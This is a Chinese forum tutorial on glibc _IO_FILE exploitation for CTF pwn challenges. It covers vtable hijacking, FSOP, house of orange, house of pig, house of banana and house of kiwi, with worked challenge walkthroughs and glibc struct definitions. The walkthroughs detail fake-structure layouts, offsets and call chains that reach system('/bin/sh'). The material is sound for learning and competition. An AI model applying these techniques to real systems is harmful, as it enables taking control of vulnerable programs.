-
-
[原创]深入理解Pwn_IO_FILE及相关赛题
-
发表于: 2023-10-28 20:11 12214
-
字太多了,更新时打字一卡一卡的,完整版去博客看吧。
本文主要参考C0Lin和_sky123_两位宝藏师傅的博客。
本文写的较为冗余,适合和我一样的新手朋友看。文中并没有对堆的手法进行详细的说明,文章的堆利用手法可以看上面的文章(包括了目前 how2heap
里全系列的手法,其他手法有时间会补充到里面)。后面关于 _IO_FILE
利用的手法会更新在这里(方便查)。
进行文件读写操作时会为对应文件创建一个 _IO_FILE_plus
结构体,并且链接到 _IO_list_all
链表 头部 上,vtable
指向一张虚函数表_IO_jump_t
,此表中记录着对文件进行的各种操作,_IO_FILE
和 _IO_jump_t
组成了 _IO_FILE_plus
。 stdin, stdout, stderr
是位于 libc.so
中,而通过 fopen
的创建的则是位于堆内存。
glibc-2.23源
图解
fopen
未调用 vtable
中的函数,fopen
对应的函数 __fopen_internal
内部会调用 malloc
函数,分配 FILE
结构的空间。因此我们可以获知 FILE
结构是存储在堆上的。
流程
使用 malloc
分配 FILE
结构
设置 FILE
结构的 vtable
初始化分配的 FILE
结构
将初始化的 FILE
结构链入 FILE
结构链表头部
调用系统调用打开文件
必须要 libc
的低 32
位地址为负时,攻击才会成功。在 fflush
函数的检查里,它第二步才是跳转,第一步的检查,在 arena
里的伪造 file
结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会 check
失效。
我们有五次任意地址写 1
字节的机会,并且给了我们 sleep()
函数的地址。
glibc-2.23
版本及之前没有 _IO_vtable_check
检查,因此可以伪造 vtable
劫持程序流程。 exit
函数有一条这样的调用链 exit->__run_exit_handlers->_IO_cleanup->_IO_unbuffer_all->_IO_SETBUFF(fp, NULL, 0)
,这里调用了 _IO_2_1_stdout_
的vatable
中 _setbuf
函数.。但位于 libc
数据段的 vtable
是不可以进行写入的,因为 _IO_jumps_t
的第 11
位是 JUMP_FIELD(_IO_setbuf_t, __setbuf);
所以我们可以在其附近寻找 fake_vtable
将其 (11*8)0x58
处改为 one_gadget
,当程序退出调用 exit
时将会调用 one_gadget
从而 getshell
。
获取信息
libc.sym['_IO_2_1_stdout_'] + 0xd8
是 _IO_2_1_stdout_
的 vtable
指针,glibc-2.23
版本x64
的偏移(struct _IO_FILE大小)
为 0xd8
,x32
减半。
get_shell
前两次机会我们可以修改 stdout_vtable
的后 16
位将其指向 fake_vtable
。
后面三次机会将 fake_vtable
的高 11*8(0x58)
处的 _IO_SETBUF(实际上是 stderr_vtable)
改为 onegadget
,因为都在 libc.so
数据段,所以我们只需要修改其后 8*3
位即可。
最后调用了 one_gadget
。
但是我这里4
个 one_gadget
都不满足条件,这个方法没打通,哪里有问题还想烦请师傅多多指教。
图解
FSOP
的核心思想就是劫持 _IO_list_all
指向伪造的 _IO_FILE_plus
。之后使程序执行 _IO_flush_all_lockp
函数刷新 _IO_list_all
链表中所有项的文件流,相当于对每个 FILE
调用 fflush
,也对应着会调用 _IO_FILE_plus.vtable
中的 _IO_overflow
。FSOP
通过伪造 _IO_jump_t
中的 __overflow
为 system()
函数 地 址 , 最 终 在 _IO_OVERFLOW(fp,EOF)
函 数 中 执 行 system('/bin/sh')
并获得 shell
。
_IO_flush_all_lockp
在一些情况下这个函数会被系统调用:
还有一条FSOP
的路径是在关闭流的时候,在 _IO_FINISH(fp)
的执行过程中最终会调用伪造的 system('/bin/sh')
。
其结构大致为:
其中 orange
是通过 calloc
申请的。
See
函数会打印出 house->name
、orange->price
和 orange
图案。
Upgrade
函数重新设置了 len_of_name
后直接向旧的 name
区域读入内容,如果 len_new > len_old
就会导致堆溢出。
本题没有 free
函数,存在堆溢出。当 top chunk
的剩余部分已经不能够满足请求时,就会调用函数 sysmalloc()
分配新内存, 这时可能会发生两种情况,一种是调用 sbrk
函数直接扩充 top chunk
,另一种是调用 mmap
函数分配一块新的 top chunk
。具体调 用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk
,需要请求小于阈值 mp_.mmap_threshold
。 要成功调用 _int_free()
还需绕过两个断言:
(unsigned long) (old_size) >= MINSIZE
也就是 0x20
。
prev_inuse == 1
((unsigned long) old_end & (pagesize - 1)) == 0
页对齐
(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)
新申请的 size
大于 old size + MINSIZE
这样便可成功泄露 libc
基址,从而获得 _IO_list_all
地址,然后可以利用 unsorted bin attack
劫持 _IO_list_all
到main_arena+88
,利用 fp->chain
域,使 fp
指 向 old_top
,前 8
字节为 '/bin/sh\x00'
字符串,使 _IO_OVERFLOW
为system
函数的地址,从而获得 shell
。
前置脚本
泄露libc和heap基址
首先通过堆溢出将 top_chunk
的大小改为 0xf81
。
然后申请一块大于 0xf81
的 chunk
利用上面讲的 sysmalloc
中的 _int_free
函数将 old_top_chunk
放入 unsorted_bin
中。在申请 0x400
大小的 large_chunk
,ptmalloc2
会先将 old_top_chunk
放进 large_bin
,然后切分 old_top_chunk
,再将其放回 unsorted_bin
。 所以此时其 fd_nextsize
和 bk_nextsize
遗留了 heap
地址。其 bk
位置遗留了 main_arean+0x668
的地址。我们可以通过 0x400
这个堆块泄露出 heap
和 libc
地址,然后通过计算偏移获得基址。
FSOP
我们可以通过 unsorted_bin_attack
将 _IO_list_all
指向 main_arena+0x58
,但这块区域是我们不可控的,我们看一下 malloc_state
结构体源码:
(tips:bins[2*N - 2] 和 bins[2 * N - 1]分别对应链表头和链表尾指针)
bins[11] == small_bin[5] == small_bin_0x60
,bins[0] == unsorted_bin
,相差是 12*8 = 0x60
。结合 _IO_FILE_plus
结构体如下图所示:
我们可以控制 old_top_chunk
的大小,把它 size
置为 0x61
,并在其内部构建 fake_IO_FILE_plus_2
放进 small_bin[5]
,那么fp->_chain
将会指向 fake_IO_FILE_2
。此时 main_arena
如下图。
为了绕过如下检查:
我们构造的 fake_IO_FILE_plus
如下图:
检测到内存错误后的调用 _IO_OVERFLOW (fp, EOF)->_IO_OVERFLOW("/bin/sh\x00, EOF")->system("/bin/sh\x00")
。
完整exp
glibc-2.24
后加入了针对 IO_FILE_plus
的 vtable
劫持的检测措施,glibc
会在调用虚函数之前首先检查 vtable
地址的是否合法。首先会验证 vtable
是否位于_IO_vtable
段中,如果满足条件就正常执行,否则会调用 _IO_vtable_check
做进一步检查。如果 vtable
是非法的,那么会引发 abort
。
_IO_FILE
在使用标准 IO
库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用 fwrite
、fread
等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。进程中包含了系统默认的三个文件流 stdin,stdout,stderr
,因此这种方式可以不需要进程中存在文件操作,通过 scanf,printf
一样可以进行利用。
stdin 任意写
大致了解 fread
的执行流程后,还需要绕过以下检查:
即:
示例
使用 libc6_2.31-0ubuntu9.9_amd64
版本编译运行结果如下:
stdout 任意写
有如下源码:
将_IO_write_ptr
指向 write_start
,_IO_write_end
指向 write_end
即可实现在目标地址写入数据。
示例
使用 libc6_2.31-0ubuntu9.9_amd64
版本编译运行结果如下:
stdout 任意读
程序正确执行到 _IO_overflow
时,有如下源码:
即
示例
__start___libc_IO_vtables
指向第一个 vtable
地址_IO_helper_jumps
,而__stop___libc_IO_vtables
指向最后一个vtable_IO_str_chk_jumps
结束的地址。想将 vtable
覆盖成外部地址且仍然通过检查,可以有两种方式:
第一种方式不可控,因为 flag
的获取和比对是类似 canary
的方式,其对应的汇编代码如下:
第二种方式,理论上可行,但是如果我们可以找到存在往_dl_open_hook
中写值的方法,完全利用该方法来进行更为简单的利用。
第三种方式, _IO_str_jumps
与 __IO_wstr_jumps
这两个 vtable
就位于 __stop___libc_IO_vtables
和 __start___libc_IO_vtables
之间,所以我们是可以利用他们来通过 IO_validate_vtable
的检测的,只需要将 *vtable
填成 _IO_str_jumps
或 _IO_wstr_jumps
地址即可。_IO_wstr_jumps
与_IO_str_jumps
功能基本一致,只是_IO_wstr_jumps
是处理 wchar
的,利用方式主要有针对 _IO_str_jumps
中的 _IO_str_finsh
函数和 _IO_str_overflow
两种。
一些下面用到的结构体定义
_IO_str_jumps
符号在 strip
后会丢失,定位其地址方法如下:
_IO_str_finish
下面是 _IO_str_finish
函数:
它使用了 _IO_FILE
结构体中的值当作函数地址来直接调用,如果修改 ((_IO_strfile *) fp)->_s._free_buffer
为 system
地址,然后修改 fp->_IO_buf_base
为 /bin/sh\x00
字符串地址,然后触发程序执行 _IO_str_finish
函数就可以得到 shell
。
_IO_str_overflow
即绕过条件为
直接将 vtable->fake_IO_str_jumps_vtable
即可,因为 _IO_str_overflow
也在 0x18
的位置。
其用法和_IO_str_jumps
相似,_IO_wstr_jumps
与_IO_str_jumps
功能基本一致,只是_IO_wstr_jumps
是处理 wchar
的。其定义如下:
_IO_wstr_overflow
_IO_wstr_finish
在 glibc-2.28
版本中,用操作堆的 malloc
函数和 free
函 数 替 换 原 来 在 _IO_str_fields
里 的 _allocate_buffer
和 _free_buffer
。 由 于 不 再 使 用 偏 移 , 也 就 不 能 利 用 __libc_IO_vtables
上的 vtable
绕过检查,于是新的 FOSP
利用技术 就失效了。
开了 NX
和 Canary
,题目 libc
为 2.24
版本。
由于程序开启了 FORTIFY
机制, 因此在程序编译时所有的 printf()
都被 __printf_chk()
替换掉了,它有如下限制:
先分配 size
大小的空间(不超过0x1000),然后在这里读入字符串,由于使用的是 gets()
函数,存在堆溢出漏洞。然后直接调用__printf_chk()
打印这个字符串,存在栈信息泄露漏洞。
前置脚本
泄露libc
通过溢出将 top_chunk
的 size
改成 fe1
,然后利用申请 0x1000 > 0xfe1
大小的 chunk
将 old_top_chunk
放进 unsorted bin
中,并利用第二次的格式化字符串漏洞泄露 libc
地址。
house of orange
利用堆溢出漏洞构造如下 Heap
与 IO_FILE
结构:
我们需要利用 abort
调用 _IO_OVERFLOW
所以需要 fp->_mode
为 0
且 fp->_IO_write_ptr>_fp->_IO_write_base
。然后利用 _IO_str_overflow
函数所以需要绕过以下检查。
利用 house of orange
将 _IO_list_all
的 vtable
指向 _IO_str_jumps
,然后利用 abort
调用 _IO_OVERFLOW->_IO_str_overflow
然后进入我们上面讲的调用流,最后调用 system("/bin/sh\x00")
。
最后libc
的低 32
位地址为负时,攻击才会成功。
glibc >= 2.23
这种攻击方式主要是利用了printf
的一个调用链,应用场景是只能分配较大 chunk
时(超过fastbin),存在或可以构造出UAF漏洞。printf
函数通过检查 __printf_function_table
是否为空,来判断是否有自定义的格式化字符,若为 printf
类格式字符串函数,则会根据格式字符串的种类去执行 __printf_arginfo_table[spec]
处的函数指针。
我们可以利用这样一条调用链printf->vfprintf->printf_positional->__parse_one_specmb
,通过篡改__printf_arginfo_table
和__printf_function_table
来进行攻击,可以看到当__printf_function_table
非空,将会调用printf_positional
函数
泄露 libc
地址。
修改 global_max_fast
为很大的值,可以 large bin attack/unsorted bin attack
将 __printf_function_table
或者 __printf_arginfo_table
覆盖为指向写有 one_gadget 的内存的指针。其中 one_gadget
在内存中的偏移对应与之后触发漏洞的 spec
。
如果是利用 __printf_function_table
触发漏洞需要让 __printf_arginfo_table
指向一块内存并且该内存对应 spec
偏移处设为 null ,否则会在 __parse_one_specmb
函数的 if 判断中造成不可预知的错误。
最后调用 printf
触发漏洞获取 shell
。
图解
对于 glibc-2.27
而言:
静态编译并且没有去除符号。
存在缓冲区漏洞,向 .bss
节的 name
变量写入内容,然后打印它。并且 flag
位于 .data
节,可以利用 __stack_chk_fail()
将其打印出来。
利用缓冲区溢出篡改 __printf_function_table
指向一个非零值,因为 %s
的 ascii
是 0x73
,所以让 __printf_arginfo_table
指向 fake_arginfo_table[0x73*8] == __stack_chk_fail()
,将 argv[0]
改为 flag
地址。
exp
glibc < 2.36
有如下调用链:
tips:通过large bin chunk
的size
中flag
位修改,或者top chunk
的inuse
写0
等方法可以触发assert
当我们触发 assert
断言时会调用 __malloc_assert
,__malloc_assert
里有这样一条调用链:fflush->_IO_fflush
执行到 result = _IO_SYNC (fp) ? EOF : 0;
时,会调用 _IO_new_file_sync
, _IO_file_jumps_
可写。因此将 _IO_file_jumps_
对应 _IO_new_file_sync
函数指针的位置覆盖为 one_gadget
就可以获取 shell
。
利用前提:
未开沙箱 poc
开了沙箱禁用 execve
对于禁用 execve
的程序需要借助 (setcontext+61) + rop
或 shellcode
进行 orw
。glibc 2.29
之后 setcontext
中的 gadget
变成了以 rdx
索引,因此还要先通过 ROP
控制 RDX
的值。
tips:注意,内存中有不止一个 _IO_helper_jumps_
,具体是哪一个要通过调试确定
调用 _IO_new_file_sync
时 rdx
指向的是 _IO_helper_jumps_
结构,该结构同样可写。因此可以通过修改 _IO_helper_jumps_
中的内容来给寄存器赋值。还需要设置 rsp
指向提前布置好的 rop
的起始位置,同时设置 rip
指向 ret
指令。最后劫持程序流实现 orw
。
总体利用思路如下:
poc
来自 _sky123_老师
glibc-2.36 的执行流
glibc-2.36
的 __malloc_assert
发生重大改变,直接通过系统调用不走 IO
,该方法失效。
再来看一下 _IO_str_overflow
函数:
利用流程如下:
在 glibc-2.34
后 ptmalloc
取消了各种 hook
,但依然可以用 house of pig
实现任意地址写任意值,借助其他手段完成权限获取,后面有时间会做补充。
House of Pig
是一个将 Tcache Statsh Unlink Attack
和 FSOP
结合的攻击,同时使用到了 Largebin Attack
进行辅助。主要适用于 libc 2.31
及以后的新版本 libc
并且程序中仅有 calloc
时。
利用条件为
没找到原 libc
,这里使用如上 libc
。
一道 c++
的 pwn
题。三只猪用户,一共五种操作,添加,查看,修改,删除,登录。最开始默认peppa
(猪A)先操作,猪A的 id=1
,Mummy
(猪B)的 id=2
,Daddy
(猪C)的 id=3
。
添加操作一共有三种,分别对应猪A,猪B,猪C。猪A可以遍历 0~19
的索引,并添加一个大小在 0x90~0x430
的 chunk
,猪B 只能遍历 0~9
的索引,并添加大小在 0x90~0x450
的 chunk
。对于猪C,则是 0~4
的索引和 0x90~0x440
的 chunk
。猪A, 猪B分配的chunk
大小只能一次比一次大或者本次与上一次相等,但猪C没有这个限制。另外,在猪C函数中如果添加 chunk
的索引为 4
,则还可以再分配一个大小为0xE8
的chunk
并写入最大长度为0xE8
的内容。 3只猪在add
之后可以立即向新分配的chunk
中写入内容,但不是chunk
中任何位置都能写,chunk
空间以48
字节为大小分组。对于猪A,每一组48字节空间只能写前面16字节,对于猪B则是只能写中间16字节,对于猪C只能写后面16
字节。在写入后,会设置两个标志位为0。
3只猪可以查看的索引范围和可以add
的索引范围相同。而且查看时需要有一个标志位为0。这个标志位是add
中设置的两个标志位中的第一个。本题限制view
的次数最多为2次。
3只猪可以修改的索引范围和可以add
的索引范围相同。而且修改时需要有一个标志位为0。这个标志位和view message
的标志位相同。本题限制edit
的次数最多为8次。
3只猪可以删除的索引范围和可以add
的索引范围相同。删除后会将两个标志位置为1。
根据条件爆破密码。
需要知道每个角色的密码,才能通过对应密码 md5
的比较判断,但是这里判断用的 strcmp
,且其中有个 md5
值中的包含 ‘\x00’
,所以实际上会提前截断,而以 ‘\x3c\x44\x00’
开头的 md5
,对应的原值其实是有很多的,所以这里可以任意切换角色。
在检查函数通过之后,如果我们会更换用户,则会将原来用户分配的chunk
复制到一个程序预先分配号的一块空间,然后将新用户的chunk
以及标志位等从那一块空间中复制出来。
本题的漏洞就在于用户的分配上。由于新用户只是复制了第二个标志位,对于某个chunk
的索引而言,如果原用户的两个对应标志位均为0,而新用户的两个标志位为1,则用户转换后,两个标志位分别为0和1。注意view message
和edit message
检查的都是第1个标志位是否为0,对于新用户而言,这个索引原本的chunk
是已经被释放的,但这样一来我们就可以再一次访问这个chunk
,这就产生了UAF
。我们可以申请到在tcache
保存大小范围的chunk
,也可以申请到大于tcache
大小的chunk
,而且程序通过calloc
分配堆块会跨过 tcache
,符合 house of pig
利用条件。关于新版本 largebin_attack
和 tcache_stashing_unlink_attack
请看前言提到的文章。
前置脚本
泄露地址并部署堆
tcache stashing unlink
的堆环境要求有5
个chunk
位于同一个tcache bins
中,同时有2个相同大小的chunk
位于small bins
,之后通过修改small bins
中链首chunk
的bk
指针可以将任意地址链入到tcache
。
这里先将 peppa(0)
放进 unsorted bin
,之后将其切分,由于转换身份时存在 UAF
漏洞,可以以此泄露 libc
地址,不过要注意先将对应的 tcache
填满。切分后我们再次申请 0x160
大小的 chunk
将剩余部分放进 small bin
中已备 tcache stashing unlink attack
攻击。
同理也可以利用身份转换的 UAF
漏洞泄露堆地址,通过 tcache
的 fd
指针泄露堆地址,两次view
的机会全部用完了,后面将不能使用view
查看。我们这里add(0xb0)
时将 unsorted bin
中的 chunk
切割成了 0xb0
大小。
第一次large bin attack
large bin attack
可以任意地址写堆地址,我们可以使得 __free_hook
周围变得可写。这种手法可以从前言的文章了解,这里不再细讲,我们把 large_bin_chunk.bk_nextsize -> (__free_hook - 0x30)
,再次申请 0xf0
大小的 chunk
时会先把 unsorted_bin_chunk
放进 large bin
,再去 large bin
中找到合适的 chunk
进行切割。借此可以完成 large bin attack
。
构造的结构如下:
攻击后如下:
第二次 large bin attack
第二次 large bin attack
,我们的目标是将未来的假 _IO_FILE
地址写到_IO_list_all
中。上一次 large bin attack
中使用的large bin
是可以重用的,我们将bk_nextsize
指针改到其他位置还能够再一次进行攻击。第二次large bin attack
应该写的具体的堆地址应该根据堆环境进行确定,选择的偏移至关重要。为了方便起见,我们的伪造_IO_FILE
结构体应该在daddy
分配索引为4的chunk
时附加送给我们的一个chunk
中进行构造。向_IO_list_all
中写入的是large bin chunk
的地址,如果想要这里同时也指向假_IO_FILE
指针,就需要计算好chunk
的分配数量,在calloc(0xE8)
时能够正好让这个chunk
被拆分,这样就实现了此处可写。可以让bk_nextsize
的值为_IO_list_all-0x20
。
构造如下:
攻击后:
这里_IO_list_all
已经指向了我们伪造的 fake_IO_FILE
。
tcache stashing unlink attack
在第一次 large bin attack
之后,我们将一个堆地址写到了__free_hook-10
的位置,接下来就需要通过 tcache stashing unlink attack
将这个地址用_IO_str_overflow
函数中的malloc
函数分配出来,然后利用 memcpy
将其改写为 system
地址,并传入 /bin/sh\x00
参数,通过 exit
函数触发即可。
构造的堆空间:
此时用 calloc
申请 0xA0
大小的堆块会跨过 tcache
从 small bin
获取, tcache
未满将会把 small bin
中的堆块先放进 tcache
中。
攻击后:
成功链接进入 tcache
。
构造的 fake_IO_FILE
:
_IO_buf_end - _IO_buf_base = 30
,所以申请的大小刚好为 30*2+100=0xA0
,会把 __free_hook
申请出来。
我们申请出来的用户空间在 0x...30
,而 &__free_hook = 0x...48
,我们将 old_buf == _IO_buf_base
指向这样的地址 b'/bin/sh\x00'+p64(system_addr)*2
就可以把 system
地址写入到 __free_hook
,并且把 _IO_buf_base ->'/bin/sh\x00'
作为其参数调用。
exp
glibc >= 2.23
在 ld.so
里,存在一个 _rtld_global
指针,指向 rtld_global
结构体,程序通过 exit
退出时,会调用 rtld_global
的结构体中的一系列函数来进行诸如恢复寄存器,清除缓冲区等操作。
其结构体定义如下:
我们看到里面有多个 _dl_ns
结构体,调试发现,该结构体存储着的实际就是 elf
各段的符号结构体。当调用到 _dl_fini
函数时,会执行每个 so
中注册的 fini
函数,其中主要是 fini_array
段的动态链接结构体指针,该结构体实际在 _dl_fini
中被使用。
只要伪造 rtld_global
结构体就可以使得 array
指向我们可控的数据区,从而伪造好一系列函数,进而劫持程序的流。可以触发 call
的有两个点,第一个点可以 call
到很多指针,是一个数组;另一个点就只有一个函数。剩下的工作就是根据代码绕过检测,调用到调用点,需要注意的是,有时候远程的 rtld_global
的偏移与本地不一样,需要爆破。house of banana
便是利用large bin attack
往 rtld_global
写入堆的地址,并事先在堆里伪造好rtld_global
结构体,这样程序exit
或者正常退出 main
函数时,便会执行到伪造的函数,此时若我们将函数伪造成one_gadget
或者system
则可以 get shell
。
利用思路:
试用场景:
需绕过的点:
劫持&(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) = fake
。
maps
必须要有四个元素,所以我劫持的是第三个节点的 next
指针这样不会破环长度从而绕过下面的两个断言。劫持时只需在_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next
处写入 fake
就行,这时可以使用 large bin attack
。
为了能写入 maps[i] = l;
,需要绕过 if (l == l->l_real)
,所以fake+0x28 (offset is 0x28)
处要写入 fake
自己的地址。
是个枚举体中成员 l_init_called
,由于各版本有所差异,所以还是现查现用。
在 fake+0x110
写入的内容会直接控制 array
,在 fake+0x120
写入的内容会控制i
,只要把fake+0x120,fake+0x110
控制好就可以控制最后的((fini_t) array[i]) ();
需要在fake+0x110
写入一个 ptr
,且 ptr+0x8
处有 ptr2
,ptr2
处写入的是最后要执行的函数地址,需要在fake+0x120
写入一个ptr
,且 ptr+0x8
处是i*8
。例如fake+0x110
写入fake+0x40
,在fake+0x48
写入fake+0x58
,在fake+0x58
写入 shell
,在fake+0x120
写入fake+0x48
,在fake+0x50
处写入 8
。
glibc > 2.23
。
在 vtable
段中存在一个 _IO_cookie_jumps
:
_IO_cookie_file
有如下定义:
其中的函数定义如下:
可以看到上面代码的函数调用前都被PTR_DEMANGLE
加密了,其定义如下:
这段宏定义的操作是将函数指针 ROR
循环右移 11
位然后与 fs:[0x30]
异或得到真正的函数地址。解密时首先异或 pointer_guard
,然后循环左移 0x11
位。
fs:[0x28]
是 tls
上存储的 canary
,根据 tcbhead_t
结构体的定义,fs[0x30]
是 pointer_guard
,用于对指针进行加密。我们可以先泄露堆地址和 libc 基地址,然后利用 large bin attack
在 tls
对应 pointer_guard
上写一个 chunk
地址,从而绕过指针保护。除此之外还需要让 _lock
指向一块可写内存。
调用链如下:
利用条件:
struct
_IO_FILE_plus
{
_IO_FILE file;
/* vtable 一般都不可修改,vtable 是否可写跟 libc 有关,有的高版本 libc 反而可写,比如 glibc-2.34。*/
const
struct
_IO_jump_t *vtable;
};
// amd64 如下
_IO_FILE_plus = {
0x0:
'_flags'
;
0x8:
'_IO_read_ptr'
;
// 操作起始地址
0x10:
'_IO_read_end'
;
// stdin 缓冲结束地址
0x18:
'_IO_read_base'
;
// stdin 缓冲起始地址
0x20:
'_IO_write_base'
;
// stdout 缓冲起始地址
0x28:
'_IO_write_ptr'
;
// 操作起始地址
0x30:
'_IO_write_end'
;
// stdout 缓冲结束地址
0x38:
'_IO_buf_base'
;
// 缓冲区起始地址
0x40:
'_IO_buf_end'
;
// 缓冲区结束地址
0x48:
'_IO_save_base'
;
0x50:
'_IO_backup_base'
;
0x58:
'_IO_save_end'
;
0x60:
'_markers'
;
0x68:
'_chain'
;
0x70:
'_fileno'
;
0x74:
'_flags2'
;
0x78:
'_old_offset'
;
0x80:
'_cur_column'
;
0x82:
'_vtable_offset'
;
0x83:
'_shortbuf'
;
0x88:
'_lock'
;
0x90:
'_offset'
;
0x98:
'_codecvt'
;
0xa0:
'_wide_data'
;
0xa8:
'_freeres_list'
;
0xb0:
'_freeres_buf'
;
0xb8:
'__pad5'
;
0xc0:
'_mode'
;
0xc4:
'_unused2'
;
0xd8:
'vtable'
;
}
struct
_IO_FILE_plus
{
_IO_FILE file;
/* vtable 一般都不可修改,vtable 是否可写跟 libc 有关,有的高版本 libc 反而可写,比如 glibc-2.34。*/
const
struct
_IO_jump_t *vtable;
};
// amd64 如下
_IO_FILE_plus = {
0x0:
'_flags'
;
0x8:
'_IO_read_ptr'
;
// 操作起始地址
0x10:
'_IO_read_end'
;
// stdin 缓冲结束地址
0x18:
'_IO_read_base'
;
// stdin 缓冲起始地址
0x20:
'_IO_write_base'
;
// stdout 缓冲起始地址
0x28:
'_IO_write_ptr'
;
// 操作起始地址
0x30:
'_IO_write_end'
;
// stdout 缓冲结束地址
0x38:
'_IO_buf_base'
;
// 缓冲区起始地址
0x40:
'_IO_buf_end'
;
// 缓冲区结束地址
0x48:
'_IO_save_base'
;
0x50:
'_IO_backup_base'
;
0x58:
'_IO_save_end'
;
0x60:
'_markers'
;
0x68:
'_chain'
;
0x70:
'_fileno'
;
0x74:
'_flags2'
;
0x78:
'_old_offset'
;
0x80:
'_cur_column'
;
0x82:
'_vtable_offset'
;
0x83:
'_shortbuf'
;
0x88:
'_lock'
;
0x90:
'_offset'
;
0x98:
'_codecvt'
;
0xa0:
'_wide_data'
;
0xa8:
'_freeres_list'
;
0xb0:
'_freeres_buf'
;
0xb8:
'__pad5'
;
0xc0:
'_mode'
;
0xc4:
'_unused2'
;
0xd8:
'vtable'
;
}
struct
_IO_jump_t
{
0x0:JUMP_FIELD(
size_t
, __dummy);
0x8:JUMP_FIELD(
size_t
, __dummy2);
0x10:JUMP_FIELD(_IO_finish_t, __finish);
0x18:JUMP_FIELD(_IO_overflow_t, __overflow);
0x20:JUMP_FIELD(_IO_underflow_t, __underflow);
0x28:JUMP_FIELD(_IO_underflow_t, __uflow);
0x30:JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
0x38:JUMP_FIELD(_IO_xsputn_t, __xsputn);
0x40:JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
0x48:JUMP_FIELD(_IO_seekoff_t, __seekoff);
0x50:JUMP_FIELD(_IO_seekpos_t, __seekpos);
0x58:JUMP_FIELD(_IO_setbuf_t, __setbuf);
0x60:JUMP_FIELD(_IO_sync_t, __sync);
0x68:JUMP_FIELD(_IO_doallocate_t, __doallocate);
0x70:JUMP_FIELD(_IO_read_t, __read);
0x78:JUMP_FIELD(_IO_write_t, __write);
0x80:JUMP_FIELD(_IO_seek_t, __seek);
0x88:JUMP_FIELD(_IO_close_t, __close);
0x90:JUMP_FIELD(_IO_stat_t, __stat);
0x98:JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
0xa0:JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
struct
_IO_jump_t
{
0x0:JUMP_FIELD(
size_t
, __dummy);
0x8:JUMP_FIELD(
size_t
, __dummy2);
0x10:JUMP_FIELD(_IO_finish_t, __finish);
0x18:JUMP_FIELD(_IO_overflow_t, __overflow);
0x20:JUMP_FIELD(_IO_underflow_t, __underflow);
0x28:JUMP_FIELD(_IO_underflow_t, __uflow);
0x30:JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
0x38:JUMP_FIELD(_IO_xsputn_t, __xsputn);
0x40:JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
0x48:JUMP_FIELD(_IO_seekoff_t, __seekoff);
0x50:JUMP_FIELD(_IO_seekpos_t, __seekpos);
0x58:JUMP_FIELD(_IO_setbuf_t, __setbuf);
0x60:JUMP_FIELD(_IO_sync_t, __sync);
0x68:JUMP_FIELD(_IO_doallocate_t, __doallocate);
0x70:JUMP_FIELD(_IO_read_t, __read);
0x78:JUMP_FIELD(_IO_write_t, __write);
0x80:JUMP_FIELD(_IO_seek_t, __seek);
0x88:JUMP_FIELD(_IO_close_t, __close);
0x90:JUMP_FIELD(_IO_stat_t, __stat);
0x98:JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
0xa0:JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
struct
_IO_FILE {
int
_flags;
/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char
* _IO_read_ptr;
/* Current read pointer */
char
* _IO_read_end;
/* End of get area. */
char
* _IO_read_base;
/* Start of putback+get area. */
char
* _IO_write_base;
/* Start of put area. */
char
* _IO_write_ptr;
/* Current put pointer. */
char
* _IO_write_end;
/* End of put area. */
char
* _IO_buf_base;
/* Start of reserve area. */
char
* _IO_buf_end;
/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char
*_IO_save_base;
/* Pointer to start of non-current get area. */
char
*_IO_backup_base;
/* Pointer to first valid character of backup area */
char
*_IO_save_end;
/* Pointer to end of non-current get area. */
struct
_IO_marker *_markers;
struct
_IO_FILE *_chain;
int
_fileno;
// stderr:2, stdout:1, stdin:0
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
/* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned
short
_cur_column;
signed
char
_vtable_offset;
char
_shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct
_IO_FILE_complete
{
struct
_IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct
_IO_codecvt *_codecvt;
struct
_IO_wide_data *_wide_data;
struct
_IO_FILE *_freeres_list;
void
*_freeres_buf;
# else
void
*__pad1;
void
*__pad2;
void
*__pad3;
void
*__pad4;
# endif
size_t
__pad5;
int
_mode;
/* Make sure we don't get into trouble again. */
char
_unused2[15 *
sizeof
(
int
) - 4 *
sizeof
(
void
*) -
sizeof
(
size_t
)];
#endif
};
#ifndef __cplusplus
typedef
struct
_IO_FILE _IO_FILE;
#endif
struct
_IO_FILE_plus;
extern
struct
_IO_FILE_plus *_IO_list_all;
extern
struct
_IO_FILE_plus _IO_2_1_stdin_;
extern
struct
_IO_FILE_plus _IO_2_1_stdout_;
extern
struct
_IO_FILE_plus _IO_2_1_stderr_;
struct
_IO_FILE {
int
_flags;
/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char
* _IO_read_ptr;
/* Current read pointer */
char
* _IO_read_end;
/* End of get area. */
char
* _IO_read_base;
/* Start of putback+get area. */
char
* _IO_write_base;
/* Start of put area. */
char
* _IO_write_ptr;
